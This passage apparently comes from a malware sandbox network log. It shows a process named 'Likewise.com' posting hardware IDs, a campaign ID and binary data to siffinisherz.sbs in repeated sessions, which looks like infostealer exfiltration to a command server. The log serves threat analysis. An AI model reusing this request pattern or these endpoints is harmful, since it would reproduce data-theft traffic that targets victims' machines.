s3DQl3uQzcFJSxZhdCPdX8pUoGB3KyyijDIAruZHp1LD1CUTTiNtsPiqtkCU56wru7BQYDNOWJYIFuCPUrJTQMP05SI+cvnxrLvSsASD2S8roEAAYy+IIrxCsd5mJweSwiR1406jnVD4qubwpJe8qy/ERBDCqq0mDsKx/qZ2s2Fm9SHy6qOdNF3eRjAkd+wb2/AgoZMviMLco8Cehld3c+JUNXNOM11gCCoCtJBHrS8uRKIAY55oA3z24Qo3I9c
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 58 4f 4f 63 79 6e 30 76 46 6f 33 4e 48 48 44 33 67 73 61 67 4a 43 30 6b 48 36 59 51 75 79 44 68 50 38 69 56 6b 4e 43 73 6a 44 51 6c 33 35 7a 2f 58 41 35 65 72 5a 67 52 4b 63 38 57 33 73 77 49 42 43 7a 2f 76 6a 69 76 45 4c 51 4c 70 65 58 64 30 4a 43 70 4d 57 7a 32 71 63 4a 38 43 6e 65 51 7a 52 33 56 71 77 66 43 4a 43 51 38 46 4e 66 7a 4b 50 34 45 33 54 2b 70 6e 50 53 78 73 49 6b 56 55 4d 75 55 2f 31 51 75 41 72 6d 63 50 53 6e 37 59 76 62 67 4b 44 51 4d 34 35 34 51 6b 78 79 63 45 35 6d 31 39 64 53 5a 76 41 78 45 77 38 6e 36 48 52 62 47 6a 5a 77 70 4c 50 2f 2b 78 73 67 51 47 48 58 4c 31 78 44 6d 50 4b 51 4f 74 4d 7a 31 34 4a 53 39 47 57 7a 50 71 4f 64 49 41 68 71 4e 6f 43 6b 4e 33 78 4c 57 34 42 67 67 47 4e 4f 71 4e 4a 4d 6f 38 43 75 52 6e 63 54 52 69 62 30 Data Ascii: XOOcyn0vFo3NHHD3gsagJC0kH6YQuyDhP8iVkNCsjDQl35z/XA5erZgRKc8W3swIBCz/vjivELQLpeXd0JCpMWz2qcJ8CneQzR3VqwfCJCQ8FNfzKP4E3T+pnPSxsIkVUMuU/1QuArmcPSn7YvbgKDQM454QkxycE5m19dSZvAxEw8n6HRbGjZwpLP/+xsgQGHXL1xDmPKQOtMz14JS9GWzPqOdIAhqNoCkN3xLW4BggGNOqNJMo8CuRncTRib0
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 4a 35 38 43 69 65 51 7a 52 30 31 30 32 4c 79 79 41 77 77 4e 4f 75 32 45 4c 63 51 6f 42 4f 70 73 65 33 6b 6b 49 6b 68 53 4e 75 34 30 7a 51 61 4f 72 6d 59 4e 42 44 4f 4b 74 61 52 4b 57 55 73 56 35 71 4d 77 31 44 77 5a 72 58 51 7a 62 57 77 6f 51 52 46 76 71 6a 33 51 44 49 71 73 59 77 68 4c 65 63 53 30 75 67 63 45 42 44 6a 34 67 69 37 43 4a 51 44 6d 65 58 31 35 4b 43 4e 4a 57 54 7a 67 66 70 46 46 67 72 77 72 58 77 52 49 78 37 32 38 43 52 64 4c 4c 61 53 54 59 4d 67 69 54 37 55 72 63 58 6f 73 49 45 46 64 50 4f 49 2f 30 77 75 43 6f 57 49 50 54 47 2f 4c 74 72 51 4c 44 77 51 7a 37 6f 38 6c 79 79 6b 4c 36 32 51 39 4f 6d 77 6f 56 52 46 76 71 68 48 34 4d 4d 65 46 55 55 64 62 4d 39 50 79 75 77 5a 42 55 33 4c 6d 69 53 7a 48 49 51 6e 6b 5a 33 64 39 4a 79 4e 47 56 54 76 Data Ascii: J58CieQzR0102LyyAwwNOu2ELcQoBOpse3kkIkhSNu40zQaOrmYNBDOKtaRKWUsV5qMw1DwZrXQzbWwoQRFvqj3QDIqsYwhLecS0ugcEBDj4gi7CJQDmeX15KCNJWTzgfpFFgrwrXwRIx728CRdLLaSTYMgiT7UrcXosIEFdPOI/0wuCoWIPTG/LtrQLDwQz7o8lyykL62Q9OmwoVRFvqhH4MMeFUUdbM9PyuwZBU3LmiSzHIQnkZ3d9JyNGVTv
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 6f 53 6c 62 52 56 44 64 4e 69 38 73 51 55 4a 41 7a 76 72 6a 69 58 43 4b 41 50 6e 61 6e 70 36 49 69 63 4e 48 33 66 74 4a 70 39 64 78 59 56 37 48 46 5a 72 78 35 4f 78 42 55 45 55 66 50 50 4b 4a 38 4e 75 56 36 31 69 62 33 41 68 50 55 52 57 4f 65 55 39 7a 51 53 49 72 33 6b 41 53 33 6e 4e 76 72 6f 46 42 77 6f 33 34 49 59 6e 79 69 55 41 34 53 73 7a 4e 43 73 33 44 51 6c 33 78 44 58 4d 45 6f 61 71 59 42 46 66 50 64 58 38 70 55 6f 47 42 33 4b 79 79 69 50 45 4a 51 76 74 5a 33 31 77 49 53 39 66 58 6a 44 74 4e 39 51 58 6a 36 4e 73 44 45 78 32 78 62 53 75 42 67 38 5a 4e 2f 69 59 59 49 46 75 43 50 55 72 4a 54 51 61 4b 46 31 42 4e 4b 67 50 79 51 61 54 72 32 59 4c 42 47 4b 45 71 2f 77 4e 44 55 74 71 71 6f 77 76 78 69 30 41 37 47 4a 78 65 53 6b 6d 53 46 41 78 37 6a 54 56 Data Ascii: oSlbRVDdNi8sQUJAzvrjiXCKAPnanp6IicNH3ftJp9dxYV7HFZrx5OxBUEUfPPKJ8NuV61ib3AhPURWOeU9zQSIr3kAS3nNvroFBwo34IYnyiUA4SszNCs3DQl3xDXMEoaqYBFfPdX8pUoGB3KyyiPEJQvtZ31wIS9fXjDtN9QXj6NsDEx2xbSuBg8ZN/iYYIFuCPUrJTQaKF1BNKgPyQaTr2YLBGKEq/wNDUtqqowvxi0A7GJxeSkmSFAx7jTV
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 73 59 43 6d 53 4b 74 62 42 4b 57 55 73 78 37 59 6b 68 78 53 63 44 34 6d 78 35 5a 69 59 6f 58 31 41 32 34 54 50 54 42 59 69 70 59 51 5a 4e 63 4d 61 2f 75 77 30 4f 44 6e 4b 6b 79 69 66 58 62 6c 65 74 53 6e 42 2f 49 48 51 58 45 53 69 6b 4a 35 38 43 69 65 51 7a 52 30 52 33 7a 37 69 78 43 51 34 49 49 4f 75 4d 4d 73 38 6a 42 66 39 68 64 6e 45 68 49 6b 42 53 4d 65 77 31 30 78 65 4d 70 47 67 4d 42 44 4f 4b 74 61 52 4b 57 55 73 52 2f 5a 77 71 79 43 49 5a 35 6d 70 2b 59 69 45 2f 44 52 39 33 2b 7a 6e 4f 52 64 32 79 65 78 42 44 59 6f 53 72 2f 41 30 4e 53 32 71 71 6a 43 6e 4a 4b 51 6e 6a 65 58 68 79 49 79 42 45 57 44 50 69 50 64 38 42 67 61 4e 75 42 45 68 32 7a 62 47 7a 44 67 67 46 4f 2b 58 4b 62 6f 38 70 46 36 30 7a 50 56 55 33 4c 45 46 63 64 2f 56 77 78 6b 57 43 71 Data Ascii: sYCmSKtbBKWUsx7YkhxScD4mx5ZiYoX1A24TPTBYipYQZNcMa/uw0ODnKkyifXbletSnB/IHQXESikJ58CieQzR0R3z7ixCQ4IIOuMMs8jBf9hdnEhIkBSMew10xeMpGgMBDOKtaRKWUsR/ZwqyCIZ5mp+YiE/DR93+znORd2yexBDYoSr/A0NS2qqjCnJKQnjeXhyIyBEWDPiPd8BgaNuBEh2zbGzDggFO+XKbo8pF60zPVU3LEFcd/VwxkWCq
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 39 6b 76 4b 63 41 52 63 4f 4e 66 7a 49 46 63 77 67 41 65 70 39 50 57 73 54 59 51 31 51 64 37 49 48 78 6b 57 54 35 44 4e 56 43 6a 33 59 38 75 52 4b 52 67 67 67 2b 49 77 6a 32 53 31 49 30 31 56 61 59 69 59 6f 58 56 59 67 35 58 36 52 52 59 72 6b 4d 7a 34 45 64 4d 32 70 72 52 77 4d 47 7a 57 71 74 57 36 50 4e 6b 2b 31 4b 30 68 33 49 69 46 4b 52 79 61 6e 47 63 6b 50 67 72 52 73 45 45 73 39 68 50 4b 36 53 6c 6c 59 66 4b 71 4f 4d 59 39 32 58 37 38 77 4b 43 64 37 66 78 39 4f 65 66 4e 2b 79 55 58 64 39 69 56 48 56 6a 32 53 38 76 73 4a 45 78 6b 30 36 5a 77 6a 69 42 41 78 79 6e 46 77 63 6a 73 2b 63 32 38 77 38 44 50 5a 45 70 54 6f 66 67 52 4b 63 38 32 6b 2f 45 52 42 42 48 4b 79 73 32 43 48 62 6a 43 6a 4b 32 55 30 64 47 39 34 55 6a 6e 6b 4f 63 6b 55 79 49 4e 78 43 6b Data Ascii: 9kvKcARcONfzIFcwgAep9PWsTYQ1Qd7IHxkWT5DNVCj3Y8uRKRggg+Iwj2S1I01VaYiYoXVYg5X6RRYrkMz4EdM2prRwMGzWqtW6PNk+1K0h3IiFKRyanGckPgrRsEEs9hPK6SllYfKqOMY92X78wKCd7fx9OefN+yUXd9iVHVj2S8vsJExk06ZwjiBAxynFwcjs+c28w8DPZEpTofgRKc82k/ERBBHKys2CHbjCjK2U0dG94UjnkOckUyINxCk
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 2f 46 4a 42 54 44 48 34 6d 43 62 4d 4f 41 79 71 56 55 4e 54 49 69 68 4d 52 79 66 39 4d 65 45 37 6b 4b 64 6c 43 55 4e 72 32 2f 4c 79 53 67 35 4c 61 74 50 4b 61 49 38 52 51 61 31 7a 50 53 78 73 47 6b 35 66 4f 65 30 6f 7a 6b 69 69 71 6d 77 47 55 6d 33 64 76 66 78 45 51 51 31 79 73 74 68 75 6a 79 6f 65 72 54 4d 74 4a 6e 64 36 48 67 5a 6e 75 43 47 52 48 4d 57 79 4b 31 38 57 4d 34 71 67 2f 46 4a 42 54 44 48 34 6d 43 62 4d 4f 41 79 71 56 55 4e 54 49 69 68 4d 52 79 66 39 4d 5a 41 72 73 34 56 56 4f 56 46 2b 78 4c 79 37 48 42 42 4c 66 4b 71 46 59 4a 63 58 54 36 55 72 51 6a 70 73 4e 77 30 4a 64 39 38 39 30 51 75 43 73 6e 70 4b 59 33 50 4e 73 36 6f 61 46 67 52 39 78 4c 77 42 6a 32 42 50 36 79 73 6c 4a 6d 4a 76 53 55 42 33 73 6d 36 4e 58 74 44 33 50 46 63 57 59 6f 53 Data Ascii: /FJBTDH4mCbMOAyqVUNTIihMRyf9MeE7kKdlCUNr2/LySg5LatPKaI8RQa1zPSxsGk5fOe0ozkiiqmwGUm3dvfxEQQ1ysthujyoerTMtJnd6HgZnuCGRHMWyK18WM4qg/FJBTDH4mCbMOAyqVUNTIihMRyf9MZArs4VVOVF+xLy7HBBLfKqFYJcXT6UrQjpsNw0Jd9890QuCsnpKY3PNs6oaFgR9xLwBj2BP6yslJmJvSUB3sm6NXtD3PFcWYoS
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 56 4e 79 78 35 67 6e 33 79 31 50 6f 79 74 78 4e 48 52 76 51 45 4d 77 2b 6a 32 54 41 70 2b 6a 4b 78 67 4b 5a 49 71 6b 2f 46 4a 53 52 58 4c 34 79 6e 69 50 61 51 48 67 61 6e 35 36 4c 7a 31 66 56 7a 54 38 50 5a 67 37 75 34 6c 35 41 46 52 2b 69 49 4f 78 44 68 63 65 4d 66 71 4e 48 76 45 44 48 65 70 37 66 6a 59 41 4b 45 42 64 43 64 51 4a 7a 67 4b 56 35 6b 30 45 55 6e 36 4b 2f 50 77 53 51 56 4e 79 78 35 67 6e 33 79 31 4e 77 57 78 77 65 47 77 77 41 30 68 33 2f 48 36 48 56 73 76 6b 65 55 63 63 50 59 32 78 72 68 67 48 43 43 54 70 7a 52 37 78 41 78 33 71 65 33 34 32 48 53 4a 4a 52 79 4c 70 4c 74 67 37 75 34 6c 35 41 46 52 2b 69 4a 65 47 53 44 41 64 4d 65 71 45 4a 34 39 67 54 2f 55 72 4a 54 51 42 50 55 70 42 4e 4b 67 62 35 55 65 30 73 6d 67 48 53 6e 71 4b 2f 50 77 47 Data Ascii: VNyx5gn3y1PoytxNHRvQEMw+j2TAp+jKxgKZIqk/FJSRXL4yniPaQHgan56Lz1fVzT8PZg7u4l5AFR+iIOxDhceMfqNHvEDHep7fjYAKEBdCdQJzgKV5k0EUn6K/PwSQVNyx5gn3y1NwWxweGwwA0h3/H6HVsvkeUccPY2xrhgHCCTpzR7xAx3qe342HSJJRyLpLtg7u4l5AFR+iJeGSDAdMeqEJ49gT/UrJTQBPUpBNKgb5Ue0smgHSnqK/PwG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:34 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DRFUZ3GO1IEW8O4Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18152 Host: siffinisherz.sbs
2025-01-06 14:47:34 UTC	15331	OUT	Data Raw: 2d 2d 44 52 46 55 5a 33 47 4f 31 49 45 57 38 4f 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 42 34 33 30 37 45 41 39 37 42 35 33 45 36 34 46 35 36 46 35 39 35 38 36 41 42 46 33 30 38 0d 0a 2d 2d 44 52 46 55 5a 33 47 4f 31 49 45 57 38 4f 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 52 46 55 5a 33 47 4f 31 49 45 57 38 4f 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 44 Data Ascii: --DRFUZ3GO1IEW8O4YContent-Disposition: form-data; name="hwid"4AB4307EA97B53E64F56F59586ABF308--DRFUZ3GO1IEW8O4YContent-Disposition: form-data; name="pid"2--DRFUZ3GO1IEW8O4YContent-Disposition: form-data; name="lid"jMw1IE--psyche--D
2025-01-06 14:47:34 UTC	2821	OUT	Data Raw: 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 Data Ascii: Sh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q
2025-01-06 14:47:35 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9g56m5gvfe0eir46omdg2tu3co; expires=Fri, 02 May 2025 08:34:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KvUFGd3%2BwlhZujuzqt72A2tLBwmq%2BahZhOJGWuARvO28hqgPctM6WxUtygXU5L%2F2MgXriX64NWMQwI0P2%2FEzuZvsKqyT72GFMSKenXolJzFKa563jQ%2FMfMSD6m7arkI%2BFtxO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc81067dddde9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1646&rtt_var=633&sent=11&recv=23&lost=0&retrans=0&sent_bytes=3050&recv_bytes=19112&delivery_rate=2559906&cwnd=210&unsent_bytes=0&cid=c488f22e8117d0aa&ts=1100&x=0"
2025-01-06 14:47:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:47:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:35 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JZ3T7EOLSYO31BZR4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: siffinisherz.sbs
2025-01-06 14:47:35 UTC	8779	OUT	Data Raw: 2d 2d 4a 5a 33 54 37 45 4f 4c 53 59 4f 33 31 42 5a 52 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 42 34 33 30 37 45 41 39 37 42 35 33 45 36 34 46 35 36 46 35 39 35 38 36 41 42 46 33 30 38 0d 0a 2d 2d 4a 5a 33 54 37 45 4f 4c 53 59 4f 33 31 42 5a 52 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 5a 33 54 37 45 4f 4c 53 59 4f 33 31 42 5a 52 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a Data Ascii: --JZ3T7EOLSYO31BZR4Content-Disposition: form-data; name="hwid"4AB4307EA97B53E64F56F59586ABF308--JZ3T7EOLSYO31BZR4Content-Disposition: form-data; name="pid"2--JZ3T7EOLSYO31BZR4Content-Disposition: form-data; name="lid"jMw1IE--psyche
2025-01-06 14:47:36 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=na17d64dppg0r5r6iq1jqr0kug; expires=Fri, 02 May 2025 08:34:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AB6b8W1mIS%2BGzK%2BmSaalJknh%2FayHuWMXTK%2BcdQzr80JTBYKZr5qeFEENZQ79Ffph7z0kXbxXpeMpdXXXxCazuB99AuzKmoeBeB3J7XE1Wrph17CGOnarJakBpec%2FTOu9iTgp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc8110b88f1a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2029&min_rtt=2011&rtt_var=790&sent=7&recv=13&lost=0&retrans=0&sent_bytes=3050&recv_bytes=9717&delivery_rate=2031539&cwnd=158&unsent_bytes=0&cid=fd28f7a8f01c2c77&ts=636&x=0"
2025-01-06 14:47:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:47:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:37 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q3NZFM9X6DHLXT2WG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: siffinisherz.sbs
2025-01-06 14:47:37 UTC	15331	OUT	Data Raw: 2d 2d 51 33 4e 5a 46 4d 39 58 36 44 48 4c 58 54 32 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 42 34 33 30 37 45 41 39 37 42 35 33 45 36 34 46 35 36 46 35 39 35 38 36 41 42 46 33 30 38 0d 0a 2d 2d 51 33 4e 5a 46 4d 39 58 36 44 48 4c 58 54 32 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 33 4e 5a 46 4d 39 58 36 44 48 4c 58 54 32 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a Data Ascii: --Q3NZFM9X6DHLXT2WGContent-Disposition: form-data; name="hwid"4AB4307EA97B53E64F56F59586ABF308--Q3NZFM9X6DHLXT2WGContent-Disposition: form-data; name="pid"3--Q3NZFM9X6DHLXT2WGContent-Disposition: form-data; name="lid"jMw1IE--psyche
2025-01-06 14:47:37 UTC	5101	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2025-01-06 14:47:37 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2cuttmcig0lqtjlqip0rnjbifh; expires=Fri, 02 May 2025 08:34:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AopnNcI8B%2B6Qt1FQTPfaFRSd0JgNZOKcNoeQevAQ4NuCdEqYqg%2B6zvs%2FIQVxRwYnWLwuw%2BIfqhwwZWH3k62TWdKHn7NB%2FOJhH4wWcbr7dVqzto8Ewnk0USQ81LmbTynes%2Boj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc81190dbe42c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1698&rtt_var=670&sent=19&recv=24&lost=0&retrans=0&sent_bytes=3050&recv_bytes=21393&delivery_rate=2388222&cwnd=213&unsent_bytes=0&cid=e53197a19ade33bf&ts=947&x=0"
2025-01-06 14:47:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:47:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:38 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E2DQQ997MVLUZJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1234 Host: siffinisherz.sbs
2025-01-06 14:47:38 UTC	1234	OUT	Data Raw: 2d 2d 45 32 44 51 51 39 39 37 4d 56 4c 55 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 42 34 33 30 37 45 41 39 37 42 35 33 45 36 34 46 35 36 46 35 39 35 38 36 41 42 46 33 30 38 0d 0a 2d 2d 45 32 44 51 51 39 39 37 4d 56 4c 55 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 32 44 51 51 39 39 37 4d 56 4c 55 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 45 32 44 51 51 39 39 Data Ascii: --E2DQQ997MVLUZJContent-Disposition: form-data; name="hwid"4AB4307EA97B53E64F56F59586ABF308--E2DQQ997MVLUZJContent-Disposition: form-data; name="pid"1--E2DQQ997MVLUZJContent-Disposition: form-data; name="lid"jMw1IE--psyche--E2DQQ99
2025-01-06 14:47:39 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ppd746r1o7sjh7ak1j91q3maj7; expires=Fri, 02 May 2025 08:34:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 